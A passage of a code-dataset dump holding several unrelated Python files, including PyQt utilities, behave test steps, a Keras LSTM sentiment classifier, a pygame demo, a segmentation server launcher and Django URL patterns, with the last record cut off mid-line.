resultados","repo_name":"moisescantero/M01_python","sub_path":"M01/main_facturaDiccionarios.py","file_name":"main_facturaDiccionarios.py","file_ext":"py","file_size_in_byte":2447,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"21239870864","text":"# -*- coding: utf-8 -*-\nfrom odoo import api, fields, models, _\nimport base64, zipfile\nfrom io import StringIO, BytesIO\nfrom datetime import datetime, date, timedelta\nimport logging\n\n_logging = logging.getLogger(__name__)\n\nclass SolseDevHerramientas(models.Model):\n\t_name = \"sdev.herramientas\"\n\t_description = \"Herramientas (solse)\"\n\n\tname = fields.Char('Nombre')\n\n\tdatas_zip_fname = fields.Char(\"Nombre de archivo zip\", readonly=True)\n\tdatas_zip = fields.Binary(\"Datos Zip\", readonly=True)\n\tutl_fecha_ejecucion = fields.Datetime(\"Ultima Fecha ejecución\")\n\n\tnombre_modelo_procesar = fields.Char(\"Nombre modelo\")\n\n\tdef borrar_datos_modelo(self):\n\t\tlista = self.env[self.nombre_modelo_procesar].sudo().search([('active', 'in', [False, True])]).ids\n\t\tfor reg in lista:\n\t\t\tself.borrar_registro_modelo(reg)\n\t\t\t\n\tdef borrar_registro_modelo(self, registro):\n\t\t#self.env[self.nombre_modelo_procesar].sudo().search([('id', '=', registro)]).with_context(force_delete=True).unlink()\n\t\tobj_name = self.nombre_modelo_procesar\n\t\tobj = self.pool.get(self.nombre_modelo_procesar)\n\t\tif not obj:\n\t\t\tt_name = obj_name.replace('.', '_')\n\t\telse:\n\t\t\tt_name = obj._table\n\n\t\tsql = \"delete from %s where id = %s\" % (t_name, registro)\n\t\ttry:\n\t\t\tself._cr.execute(sql)\n\t\t\tself._cr.commit()\n\t\texcept Exception as e:\n\t\t\t_logging.warning('remove data error: %s,%s', obj_name, e)\n\n\n\tdef llenar_direccion_usando_ubigeo(self):\n\t\tpacientes = self.env['res.partner'].search([])\n\t\tfor reg in pacientes:\n\t\t\tif reg.zip:\n\t\t\t\tdistrict = self.env['l10n_pe.res.city.district'].search([('code', '=', reg.zip)], limit=1)\n\t\t\t\treg.l10n_pe_district = district.id\n\t\t\t\treg.city_id = district.city_id.id\n\t\t\t\treg.state_id = district.city_id.state_id.id\n\t\t\t\treg.country_id = district.city_id.state_id.country_id.id\n\n\tdef llenar_vat_con_doc_number(self):\n\t\tpacientes = self.env['res.partner'].search([])\n\t\tfor reg in pacientes:\n\t\t\tif not reg.doc_number:\n\t\t\t\tcontinue\n\t\t\treg.vat = reg.doc_number\n\n\tdef llenar_doc_number_con_doc_vat(self):\n\t\tpacientes = self.env['res.partner'].search([])\n\t\tfor reg in pacientes:\n\t\t\tif not reg.vat:\n\t\t\t\tcontinue\n\t\t\treg.doc_number = reg.vat\n\n\tdef buscar_con_doc_number(self):\n\t\tpacientes = self.env['res.partner'].search([])\n\t\tfor reg in pacientes:\n\t\t\tif not reg.l10n_pe_district and reg.doc_number:\n\t\t\t\treg.update_document()\n\n\tdef borrar_pagos(self):\n\t\tself.env['account.payment'].search([]).action_draft()\n\t\tself.env['account.payment'].search([]).unlink()\n\n\tdef borrar_supplierinfo(self):\n\t\tself.env['product.supplierinfo'].search([]).unlink()\n\n\tdef borrar_pagos_pos(self):\n\t\tself.env['pos.payment'].search([]).unlink()\n\n\tdef borrar_notas_credito(self):\n\t\tnotas_credito = self.env['account.move'].search([('move_type', '=', 'out_refund')])\n\t\tnotas_credito.write({'state': 'draft', 'name': '/'})\n\t\tlineas = notas_credito.line_ids\n\n\t\tself.env['account.partial.reconcile'].search([('credit_move_id', 'in', lineas.ids)]).unlink()\n\t\tself.env['account.analytic.line'].search([('move_id', 'in', lineas.ids)]).unlink()\n\n\t\tself.env['account.move'].search([('move_type', '=', 'out_refund')]).with_context(force_delete=True).unlink()\n\n\tdef borrar_facturas(self):\n\t\tself.env['account.move'].search([('move_type', '!=', 'entry')]).write({'state': 'draft', 'name': '/'})\n\t\tself.env['account.partial.reconcile'].search([]).unlink()\n\t\tself.env['account.analytic.line'].search([]).unlink()\n\t\tself.env['account.move'].search([]).with_context(force_delete=True).unlink()\n\t\t#self.env['account.journal'].search([]).write({'sequence_number_next': 1})\n\n\tdef borrar_cpe(self):\n\t\tself.env['solse.cpe'].search([]).write({'state': 'draft'})\n\t\tself.env['solse.cpe'].search([]).unlink()\n\n\tdef borrar_inventarios(self):\n\t\tself.env['stock.move'].search([]).write({'state': 'draft'})\n\t\tself.env['stock.move'].search([]).unlink()\n\t\tself.env['stock.picking'].search([]).write({'state': 'draft'})\n\t\tself.env['stock.picking'].search([]).unlink()\n\t\tself.env['stock.quant'].search([]).unlink()\n\t\tself.env['stock.valuation.layer'].search([]).unlink()\n\t\tself.env['stock.inventory'].search([]).action_cancel_draft()\n\t\tself.env['stock.inventory'].search([]).unlink()\n\n\tdef borrar_ventas(self):\n\t\tself.env['sale.order'].search([]).write({'state': 'draft'})\n\t\tself.env['sale.order'].search([]).unlink()\n\n\tdef borrar_ventas_pos(self):\n\t\tself.env['pos.order'].search([]).write({'state': 'draft'})\n\t\tself.env['pos.order'].search([]).unlink()\n\n\tdef borrar_compras(self):\n\t\tself.env['purchase.order'].search([]).write({'state': 'cancel'})\n\t\tself.env['purchase.order'].search([]).unlink()\n\n\tdef borrar_datos_crm(self):\n\t\tself.env['crm.lead'].search([]).unlink()\n\n\tdef borrar_producciones(self):\n\t\tself.env['mrp.workorder'].search([]).unlink()\n\t\tlista = self.env['mrp.production'].search([('state', '=', 'draft')]).unlink()\n\t\tlista = self.env['mrp.production'].search([('state', '=', 'cancel')]).unlink()\n\t\t#for reg in lista:\n\t\t#\treg.unlink()\n\t\t#self.env['mrp.production'].search([('state', '!=', 'done')]).action_cancel()\n\t\t#self.env['mrp.production'].search([('state', '!=', 'done')]).unlink()\n\n\tdef aplicar_estados_importacion(self):\n\t\tfacturas = self.env[\"account.move\"].search([(\"estado_temp\", \"!=\", False)])\n\t\tfor reg in facturas:\n\t\t\treg.state = reg.estado_temp\n\t\t\treg.estado_temp = False\n\n\tdef aplicar_estados_guias_importacion(self):\n\t\tfacturas = self.env[\"stock.picking\"].search([(\"estado_temp\", \"!=\", False)], limit=250)\n\t\tfor reg in facturas:\n\t\t\testado_temporal = reg.estado_temp\n\t\t\tif reg.state not in ['draft']:\n\t\t\t\treg.estado_temp = False\n\t\t\telif reg.estado_temp == 'done':\n\t\t\t\ttry:\n\t\t\t\t\treg.button_validate()\n\t\t\t\t\treg.estado_temp = False\n\t\t\t\texcept Exception as msg_error:\n\t\t\t\t\treg.estado_temp = estado_temporal\n\t\t\t\t\t_logging.info(msg_error)\n\t\t\telse:\n\t\t\t\treg.state = reg.estado_temp\n\t\t\t\treg.estado_temp = False\n\n\tdef aplicar_pagos_factura(self):\n\t\tpagos = self.env['sdev.facturas.pago'].search([('factura_ids', '!=', False)], limit=10)\n\t\tfor reg in pagos:\n\t\t\ttry:\n\t\t\t\tpmt_wizard = self.env['account.payment.register'].with_context(active_model='account.move', active_ids=reg.factura_ids.ids).create({\n\t\t\t\t\t'payment_date': reg.payment_date,\n\t\t\t\t\t'journal_id': reg.journal_id.id,\n\t\t\t\t\t'payment_method_id': reg.payment_method_id.id,\n\t\t\t\t\t'amount': reg.amount,\n\t\t\t\t\t'currency_id': reg.currency_id.id,\n\t\t\t\t\t'partner_id': reg.partner_id.id,\n\t\t\t\t\t'communication': reg.communication\n\t\t\t\t})\n\t\t\t\tpmt_wizard._create_payments()\n\t\t\t\treg.factura_ids.write({\n\t\t\t\t\t'pago_id': False\n\t\t\t\t})\n\t\t\texcept Exception as msg_error:\n\t\t\t\t_logging.info(msg_error)\n\t\t\t\n\n\tdef aplicar_notas_credito(self):\n\t\tnotas_credito = self.env['account.move'].search([('move_type', '=', 'out_refund'), ('state', '=', 'posted')])\n\t\tfor nota in notas_credito:\n\t\t\tpay_term_lines = nota.line_ids.filtered(lambda line: line.account_id.user_type_id.type in ('receivable', 'payable'))\n\t\t\tdomain = [\n\t\t\t\t('move_id', '=', nota.reversed_entry_id.id),\n\t\t\t\t('account_id', 'in', pay_term_lines.account_id.ids),\n\t\t\t\t('move_id.state', '=', 'posted'),\n\t\t\t\t('reconciled', '=', False),\n\t\t\t\t'|', ('amount_residual', '!=', 0.0), ('amount_residual_currency', '!=', 0.0),\n\t\t\t]\n\t\t\tif nota.is_inbound():\n\t\t\t\tdomain.append(('balance', '<', 0.0))\n\t\t\telse:\n\t\t\t\tdomain.append(('balance', '>', 0.0))\n\t\t\tlinea_factura = self.env['account.move.line'].search(domain)\n\t\t\tif pay_term_lines and linea_factura:\n\t\t\t\tlines = pay_term_lines + linea_factura\n\t\t\t\tlines.reconcile()\n\n\tdef aplicar_tipo_operacion_facturas(self):\n\t\tfacturas = self.env['account.move'].search([('invoice_picking_id', '!=', False), ('picking_type_id', '=', False)])\n\t\tfor reg in facturas:\n\t\t\treg.picking_type_id = reg.invoice_picking_id.picking_type_id.id\n\n\tdef aplicar_notas_credito_2(self):\n\t\tnotas_credito = self.env['account.move'].search([('move_type', '=', 'out_refund'), ('state', '=', 'posted'), ('payment_state', '!=', 'paid')])\n\t\tfor nota in notas_credito:\n\t\t\tpay_term_lines = nota.line_ids.filtered(lambda line: line.account_id.user_type_id.type in ('receivable', 'payable'))\n\t\t\tdomain = [\n\t\t\t\t('account_id', 'in', pay_term_lines.account_id.ids),\n\t\t\t\t('move_id.state', '=', 'posted'),\n\t\t\t\t('partner_id', '=', nota.commercial_partner_id.id),\n\t\t\t\t('reconciled', '=', False),\n\t\t\t\t'|', ('amount_residual', '!=', 0.0), ('amount_residual_currency', '!=', 0.0),\n\t\t\t]\n\t\t\tif nota.is_inbound():\n\t\t\t\tdomain.append(('balance', '<', 0.0))\n\t\t\telse:\n\t\t\t\tdomain.append(('balance', '>', 0.0))\n\t\t\tlinea_factura = self.env['account.move.line'].search(domain)\n\t\t\tif pay_term_lines and linea_factura:\n\t\t\t\tlines = pay_term_lines + linea_factura\n\t\t\t\tlines.reconcile()\n\n\t# retorna el json con los datos necesarios para la accion \"descargar_datos_cpe\"\n\tdef obtener_datos_cpe(self):\n\t\tin_memory_data = BytesIO()\n\t\tin_memory_zip = zipfile.ZipFile(in_memory_data, 'w', zipfile.ZIP_DEFLATED, False)\n\n\t\tcpes = self.env['solse.cpe'].search([])\n\t\tAttachment = self.env['ir.attachment']\n\t\tfor reg in cpes:\n\t\t\tif reg.datas_sign_fname:\n\t\t\t\t_document_name = reg.datas_sign_fname\n\t\t\t\tfilecontent = base64.b64decode(reg.datas_sign)\n\t\t\t\tin_memory_zip.writestr(_document_name, filecontent)\n\t\t\tif reg.datas_response_fname:\n\t\t\t\t_document_name = reg.datas_response_fname\n\t\t\t\tfilecontent = base64.b64decode(reg.datas_response)\n\t\t\t\tin_memory_zip.writestr(_document_name, filecontent)\n\n\t\t\tif reg.type == 'sync':\n\t\t\t\tnombre = '%s.pdf' % reg.get_document_name()\n\t\t\t\tfactura = self.env['account.move'].search([('pe_cpe_id', '=', reg.id)], limit=1)\n\t\t\t\tpdf = Attachment.search([('res_id', '=', factura.id), ('name', 'like', nombre + '%')], limit=1)\n\t\t\t\tif pdf:\n\t\t\t\t\tfilecontent = base64.b64decode(pdf.datas)\n\t\t\t\t\tin_memory_zip.writestr(nombre, filecontent)\n\t\t\t\t\"\"\"else:\n\t\t\t\t\tresult_pdf, type = self.env['ir.actions.report']._get_report_from_name('account.report_invoice')._render_qweb_pdf(factura.ids)\n\t\t\t\t\tresult_pdf = base64.encodestring(result_pdf)\n\t\t\t\t\tfilecontent = base64.b64decode(result_pdf)\n\t\t\t\t\tin_memory_zip.writestr(nombre, filecontent)\"\"\"\n\n\t\tfor zfile in in_memory_zip.filelist:\n\t\t\tzfile.create_system = 0\n\t\tin_memory_zip.close()\n\n\t\tself.datas_zip = base64.b64encode(in_memory_data.getvalue())\n\t\tself.datas_zip_fname = \"pdf_xml_cdr.zip\"\n\n\tdef completar_pdf_faltantes(self):\n\t\tAttachment = self.env['ir.attachment']\n\t\tfacturas = self.env['account.move'].search([('is_cpe', '=', True)])\n\t\tfor reg in facturas:\n\t\t\tif not reg.pe_cpe_id:\n\t\t\t\tcontinue\n\t\t\tnombre = '%s.pdf' % reg.pe_cpe_id.get_document_name()\n\t\t\tpdf = Attachment.search([('res_id', '=', reg.id), ('name', 'like', nombre + '%')], limit=1)\n\t\t\tif not pdf:\n\t\t\t\tattach = {}\n\t\t\t\tresult_pdf, type = self.env['ir.actions.report']._get_report_from_name('account.report_invoice')._render_qweb_pdf(reg.ids)\n\t\t\t\tattach['name'] = nombre\n\t\t\t\tattach['type'] = 'binary'\n\t\t\t\tattach['datas'] = base64.encodestring(result_pdf)\n\t\t\t\tattach['res_model'] = 'mail.compose.message'\n\t\t\t\tattachment_id = self.env['ir.attachment'].create(attach)\n\t\tself.utl_fecha_ejecucion = fields.Datetime.to_string(datetime.now())","repo_name":"Lobonick/cens-test","sub_path":"solse_dev/models/herramientas.py","file_name":"herramientas.py","file_ext":"py","file_size_in_byte":10860,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} diff --git a/348.jsonl b/348.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/3482.jsonl b/3482.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/3485.jsonl b/3485.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..03a93a61fca69d0bc2a2271c21b02cbf9851b09e --- /dev/null +++ b/3485.jsonl @@ -0,0 +1,739 @@ +{"seq_id":"139520845","text":"from PyQt5.QtCore import pyqtSignal, QObject, QEvent, Qt\nfrom PyQt5.QtWidgets import QLabel\n\n\ndef clickable(widget):\n \"\"\"Filter which monitors clicks on qlabels which are icons\"\"\"\n class Filter(QObject):\n\n clicked = pyqtSignal(tuple, QLabel)\n\n def eventFilter(self, obj, event):\n\n if obj == widget:\n if event.type() == QEvent.MouseButtonDblClick:\n if obj.rect().contains(event.pos()):\n self.clicked.emit((0, obj), obj)\n return True\n elif event.type() == QEvent.MouseButtonPress: # right button\n if event.button() == Qt.RightButton:\n self.clicked.emit((1, obj), obj)\n return True\n return False\n\n clicking_filter = Filter(widget)\n widget.installEventFilter(clicking_filter)\n return clicking_filter.clicked\n","sub_path":"album/clickable_images.py","file_name":"clickable_images.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"582418764","text":"from behave import *\nfrom modules.warehouse import Warehouse\nimport json\n\n@given('For warehouses, I am connected to \"{url}\"')\ndef step_impl(context, url):\n context.url = url\n\n@when('For warehouses, I request the URL \"{endpoint}\"')\ndef step_impl(context, endpoint):\n context.endpoint = endpoint\n\n@step('For warehouses, I provide an object \"{data}\"')\ndef step_impl(context, data):\n data = json.loads(data)\n context.warehouse = Warehouse(context.url, **data)\n\n@then('For warehouses, I get a \"{code}\" result on \"{operation}\"')\ndef step_impl(context, code, operation):\n code = int(code)\n warehouse = Warehouse(context.url)\n if operation in ('find', 'insert'):\n if not hasattr(context, 'warehouse'):\n return False\n else:\n warehouse = context.warehouse\n if operation == 'insert':\n assert warehouse.insert(context.endpoint, code)\n if operation == 'find':\n assert warehouse.find(context.endpoint, code)\n if operation == 'all':\n assert warehouse.all(context.endpoint, code)\n return False\n","sub_path":"tests/features/steps/warehouse.py","file_name":"warehouse.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"500304182","text":"import sys\r\nfrom PyQt5.QtWidgets import QApplication, QWidget, QLineEdit, QFormLayout, QListWidget, QPushButton, QSystemTrayIcon, \\\r\n QLabel\r\nfrom PyQt5.QtGui import QIcon, QKeyEvent\r\nfrom PyQt5.QtCore import Qt\r\nimport configparser\r\nimport os\r\nimport re\r\n\r\n\r\nclass Form(QWidget):\r\n def __init__(self):\r\n super(Form, self).__init__()\r\n self.lst = []\r\n self.edit = QLineEdit()\r\n self.edit.setPlaceholderText(\"Search\")\r\n self.list = QListWidget()\r\n self.resetconfig = QPushButton(\"Reset Config To Default\")\r\n self.flabel = QLabel('Found: 0')\r\n\r\n layout = QFormLayout()\r\n layout.addWidget(self.edit)\r\n layout.addWidget(self.list)\r\n layout.addWidget(self.resetconfig)\r\n layout.addWidget(self.flabel)\r\n self.setLayout(layout)\r\n\r\n self.edit.returnPressed.connect(self.search)\r\n self.resetconfig.clicked.connect(self.parseconfig)\r\n\r\n def keyPressEvent(self, QKeyEvent):\r\n if QKeyEvent.key() == Qt.Key_Escape:\r\n self.list.clear()\r\n self.edit.clear()\r\n\r\n def search(self):\r\n self.lst = []\r\n path = self.readconfig()\r\n searchname = self.edit.text()\r\n\r\n files = os.scandir(path['path'])\r\n for i in files:\r\n if re.search(searchname, i.path, re.IGNORECASE):\r\n self.lst.append(i.path)\r\n self.list.addItems(self.lst)\r\n self.flabel.setText(\"Found: \" + str(self.list.count()))\r\n\r\n def parseconfig(self):\r\n config = configparser.ConfigParser()\r\n config['settings'] = {\r\n 'path': 'D:\\osu!\\Songs',\r\n 'width': '500',\r\n 'height': '500'\r\n }\r\n with open('settings.ini', 'w') as configfile:\r\n config.write(configfile)\r\n\r\n def readconfig(self):\r\n config = configparser.ConfigParser()\r\n config.read('settings.ini')\r\n path = config['settings']\r\n return path\r\n\r\n\r\nif __name__ == '__main__':\r\n app = QApplication(sys.argv)\r\n form = Form()\r\n\r\n wh = form.readconfig()\r\n form.setGeometry(200, 200, int(wh['width']), int(wh['height']))\r\n form.setWindowTitle('Search')\r\n form.setWindowIcon(QIcon('icons/Search.png'))\r\n QSystemTrayIcon(QIcon('icons/Search.png'))\r\n\r\n form.show()\r\n app.exec_()\r\n","sub_path":"Main.pyw","file_name":"Main.pyw","file_ext":"pyw","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"86181429","text":"\"\"\"\n6.4.1 LSTMで評判分析\nEpoch 10/10\n5668/5668 [==============================] - 9s 2ms/step - loss: 0.0021 - acc: 0.9995 - val_loss: 0.0459 - val_acc: 0.9880\n1418/1418 [==============================] - 0s 281us/step\nTest score: 0.046, accuracy: 0.988\n1 1 i want to be here because i love harry potter , and i really want a place where people take it serious , but it is still so much fun .\n1 1 because i would like to make friends who like the same things i like , and i really like harry potter , so i thought that joining a community like this would be a good start .\n1 1 so as felicia 's mom is cleaning the table , felicia grabs my keys and we dash out like freakin mission impossible .\n0 0 brokeback mountain was boring .\n0 0 not because i hate harry potter , but because i am the type of person that likes it when the main character dies .\n\n\"\"\"\n# -*- coding: utf-8 -*-\nfrom __future__ import division, print_function\nimport collections\nimport os\n\nimport nltk\nimport numpy as np\nfrom keras.callbacks import TensorBoard\nfrom keras.layers import Activation, Dense, Dropout, Embedding, LSTM\nfrom keras.models import Sequential\nfrom keras.preprocessing import sequence\nfrom sklearn.model_selection import train_test_split\nimport codecs\n\n\nDATA_DIR = \"./data\"\nLOG_DIR = \"./logs\"\n\nMAX_FEATURES = 2000\nMAX_SENTENCE_LENGTH = 40\n\nEMBEDDING_SIZE = 128\nHIDDEN_LAYER_SIZE = 64\nBATCH_SIZE = 32\nNUM_EPOCHS = 10\n\n# Read training data and generate vocabulary\nmaxlen = 0\nword_freqs = collections.Counter()\n# \"\"\"\n# import collections\n\n# l = ['a', 'a', 'a', 'a', 'b', 'c', 'c']\n# c = collections.Counter(l)\n\n# print(c)\n# # Counter({'a': 4, 'c': 2, 'b': 1})\n\n# でも以下の使い方を見る限り、要は辞書を作ってればいいので\n# word_freqs={}でも動くのでは？←most_commonのメソッドを使いたかったため\n# \"\"\"\nnum_recs = 0 # サンプル数に対応\nwith codecs.open(os.path.join(DATA_DIR, \"umich-sentiment-train.txt\"), \"r\",\n 'utf-8') as ftrain:\n for line in ftrain:\n label, sentence = line.strip().split(\"\\t\")\n try:\n words = nltk.word_tokenize(sentence.lower())\n except LookupError:\n print(\"Englisth tokenize does not downloaded. So download it.\")\n nltk.download(\"punkt\")\n words = nltk.word_tokenize(sentence.lower())\n maxlen = max(maxlen, len(words))\n for word in words:\n word_freqs[word] += 1\n num_recs += 1\n\n# Get some information about our corpus\nprint(maxlen) # 42\nprint(len(word_freqs)) # 2313\n# 自分の環境では>>> print(len(word_freqs)) 2328だった\n\n# 1 is UNK, 0 is PAD\n# We take MAX_FEATURES-1 features to account for PAD\n# 語彙は2000＋2(UNKとPAD)個しようするものとする\n# ?なんでlen(word_freqs)じゃだめなんだろう\nvocab_size = min(MAX_FEATURES, len(word_freqs)) + 2\n# 頻出なのから対応する固有の番号を割り振る\nword2index = {x[0]: i+2 for i, x in\n enumerate(word_freqs.most_common(MAX_FEATURES))}\nword2index[\"PAD\"] = 0\nword2index[\"UNK\"] = 1\nindex2word = {v: k for k, v in word2index.items()}\n\n# 今は文章の羅列であるこれを数字の羅列に変換する\n# convert sentences to sequences\nX = np.empty((num_recs, ), dtype=list)\ny = np.zeros((num_recs, ))\ni = 0\nwith codecs.open(os.path.join(DATA_DIR, \"umich-sentiment-train.txt\"),\n 'r', 'utf-8') as ftrain:\n for line in ftrain:\n label, sentence = line.strip().split(\"\\t\")\n words = nltk.word_tokenize(sentence.lower())\n seqs = []\n for word in words:\n # もし辞書に単語があったら、対応する数字に直して、なかったらUNKにする.\n if word in word2index:\n seqs.append(word2index[word])\n else:\n seqs.append(word2index[\"UNK\"])\n X[i] = seqs # i番目のサンプルの文章に対応する数字の配列を作成\n y[i] = int(label)\n i += 1\n\n# Pad the sequences (left padded with zeros)\n# 左側に0を埋める\nX = sequence.pad_sequences(X, maxlen=MAX_SENTENCE_LENGTH)\n\n# Split input into training and test\nXtrain, Xtest, ytrain, ytest = train_test_split(X, y, test_size=0.2,\n random_state=42)\nprint(Xtrain.shape, Xtest.shape, ytrain.shape, ytest.shape)\n\n# Build model\nmodel = Sequential()\n# ここでの入力テンソルのshapeは(None, MAX_SENTENCE_LENGTH, 1)\n# 第一次元はバッチサイズに対応、指定なしなのでNone\n# 第二次元は時系列方向の長さに対応\n# 第三次元はある時刻の入力の要素数に対応(今はある数字が入っているだけなので1)\n\n# 埋め込みword2vec?\nmodel.add(Embedding(vocab_size, EMBEDDING_SIZE,\n input_length=MAX_SENTENCE_LENGTH))\n# 分散表現を獲得したことで、第三次元が変化\n# 入力テンソルは (None, MAX_SENTENCE_LENGTH, EMBEDDING_SIZE)となる。\nmodel.add(Dropout(0.5))\nmodel.add(LSTM(HIDDEN_LAYER_SIZE, dropout=0.5, recurrent_dropout=0.5))\n# LSTMの出力サイズはreturn_sequence=Trueで(None, HIDDEN_LAYER_SIZE, MAX_SENTENCE_LENGTH)になる\n# Falseの場合は(None, HIDDEN_LAYER_SIZE)となる。デフォではこっち（今回もこっち）\nmodel.add(Dense(1))\nmodel.add(Activation(\"sigmoid\"))\n\nmodel.compile(loss=\"binary_crossentropy\", optimizer=\"adam\",\n metrics=[\"accuracy\"])\n\n\nif not os.path.exists(LOG_DIR):\n os.mkdir(LOG_DIR)\n\nhistory = model.fit(Xtrain, ytrain, batch_size=BATCH_SIZE,\n epochs=NUM_EPOCHS,\n callbacks=[TensorBoard(LOG_DIR)],\n validation_data=(Xtest, ytest))\n\n# evaluate\nscore, acc = model.evaluate(Xtest, ytest, batch_size=BATCH_SIZE)\nprint(\"Test score: {:.3f}, accuracy: {:.3f}\".format(score, acc))\n\nfor i in range(5):\n idx = np.random.randint(len(Xtest))\n xtest = Xtest[idx].reshape(1, 40)\n ylabel = ytest[idx]\n ypred = model.predict(xtest)[0][0]\n sent = \" \".join([index2word[x] for x in xtest[0].tolist() if x != 0])\n print(\"{:.0f}\\t{:.0f}\\t{}\".format(ypred, ylabel, sent))\n","sub_path":"ch06/umich_sentiment_lstm.py","file_name":"umich_sentiment_lstm.py","file_ext":"py","file_size_in_byte":6180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"360065574","text":"import pygame, sys\nfrom pygame.locals import *\nfrom random import randint # Importar random\n\npygame.init()\nventana = pygame.display.set_mode((1000, 800))\npygame.display.set_caption(\"Hola Mundo\")\n\nMi_Imagen = pygame.image.load(\"Imagenes/12279747422081422452rg1024_Ufo_in_metalic_style.svg.hi.png\")\nposX, posY = 200, 100\nvelocidad = 2\nBlanco = (255, 255, 255)\nderecha = True\n\nwhile True:\n ventana.fill(Blanco)\n ventana.blit(Mi_Imagen, (posX, posY))\n for evento in pygame.event.get():\n if evento.type == QUIT:\n pygame.quit()\n sys.exit()\n\n if derecha == True:\n if posX < 800:\n posX += velocidad\n else:\n derecha == False\n else:\n if posX > 1:\n posX -= velocidad\n else:\n derecha == True\n\n pygame.display.update()\n","sub_path":"PygameTuto/Movimiento.py","file_name":"Movimiento.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"307966327","text":"# ilang - Inference Language\n# Stefano Pedemonte\n# Aalto University, School of Science, Helsinki\n# Oct 2013, Helsinki \n\n\nimport _thread as thread\nimport http.server as BaseHTTPServer\nimport socketserver as SocketServer\n\nhost = '0.0.0.0'\nport = 8080\n\ndef serve(host,port):\n handler = BaseHTTPServer.SimpleHTTPRequestHandler\n SocketServer.TCPServer.allow_reuse_address = True\n server = SocketServer.TCPServer((host, port), handler, bind_and_activate=False)\n server.allow_reuse_address=True\n try:\n server.server_bind()\n server.server_activate()\n print(\"serving at port:\" + str(port))\n server.serve_forever()\n except:\n server.server_close()\n\ndef run_webserver(background):\n try:\n if background:\n thread.start_new_thread(serve, (host,port))\n else:\n serve(host,port)\n except:\n print('server already running')\n\n\n","sub_path":"src/tomolab/tomolab/_removed/ilang/webgui/webserver.py","file_name":"webserver.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"76568256","text":"'''\r\nCreated on Jan 2, 2010\r\n\r\n@author: gumuz\r\n'''\r\n\r\n\r\nCONNECTION_TYPES = [\"None\", \"STARTTLS\"]\r\nSIZES = {\"KB\":1024, \"MB\":1048576}\r\nPRESETS = [{\"domains\":[\"gmail.com\"],\r\n \"host_name\":\"smtp.gmail.com\",\r\n \"port\":587,\r\n \"max_size\":25,\r\n \"max_size_type\":\"MB\",\r\n \"use_auth\":True,\r\n \"security\":\"STARTTLS\"},\r\n {\"domains\":[\"hotmail.com\", \"live.com\"],\r\n \"host_name\":\"smtp.live.com\",\r\n \"port\":587,\r\n \"max_size\":10,\r\n \"max_size_type\":\"MB\",\r\n \"use_auth\":True,\r\n \"security\":\"STARTTLS\"}, ]\r\n\r\nclass KurirAccount(object):\r\n def __init__(self):\r\n self.from_address = \"\"\r\n self.host_name, self.port = \"\", 25\r\n self.max_size, self.max_size_type = 2, \"MB\"\r\n self.use_auth, self.security = False, \"None\"\r\n self.username, self.password = \"\", \"\"\r\n\r\n \r\n def get_max_size_bytes(self):\r\n return self.max_size * SIZES[self.max_size_type]\r\n max_size_bytes = property(get_max_size_bytes)\r\n","sub_path":"src/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"31929697","text":"import argparse\nimport os\nimport server.app\n\nfrom config import cfg\nfrom server.app import app\nfrom server.api.processor import SegmentationProcessor\nfrom utils import setup_logger\n\n\nparser = argparse.ArgumentParser(\n description='Run image segmentation server'\n)\n# Server settings\nparser.add_argument(\n '--host',\n type=str,\n default='0.0.0.0',\n help='Host address'\n)\nparser.add_argument(\n '--port',\n type=int,\n default=5050,\n help='Listening port'\n)\n# Processor settings\nparser.add_argument(\n '--gpu',\n default=0,\n type=int,\n help='Gpu id'\n)\nparser.add_argument(\n \"--cfg\",\n default=\"config/ade20k-resnet50dilated-ppm_deepsup.yaml\",\n metavar=\"FILE\",\n help=\"Path to config file\",\n type=str,\n)\nparser.add_argument(\n \"opts\",\n help=\"Modify config options using the command-line\",\n default=None,\n nargs=argparse.REMAINDER,\n)\n\n\ndef main():\n args = parser.parse_args()\n\n cfg.merge_from_file(args.cfg)\n cfg.merge_from_list(args.opts)\n\n cfg.RUNTIME.gpu = args.gpu\n\n logger = setup_logger(distributed_rank=0)\n logger.info(\"Loaded configuration file {}\".format(args.cfg))\n logger.info(\"Running with config:\\n{}\".format(cfg))\n\n cfg.MODEL.arch_encoder = cfg.MODEL.arch_encoder.lower()\n cfg.MODEL.arch_decoder = cfg.MODEL.arch_decoder.lower()\n\n # absolute paths of model weights\n cfg.MODEL.weights_encoder = os.path.join(\n cfg.DIR, 'encoder_' + cfg.TEST.checkpoint)\n cfg.MODEL.weights_decoder = os.path.join(\n cfg.DIR, 'decoder_' + cfg.TEST.checkpoint)\n\n assert os.path.exists(cfg.MODEL.weights_encoder) and \\\n os.path.exists(cfg.MODEL.weights_decoder), \"checkpoint does not exitst!\"\n\n server.app.processor = SegmentationProcessor(cfg)\n with server.app.processor:\n app.run(host=args.host, port=args.port)\n","sub_path":"server/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"78648198","text":"#!/usr/bin/env python\n# coding:utf-8\n\nfrom django.conf.urls import url, include\nfrom views import *\n\nurlpatterns = [\n url(r'^login/$', login),\n url(r'^index/$', index),\n url(r'^register/$', register),\n url(r'^host/$', 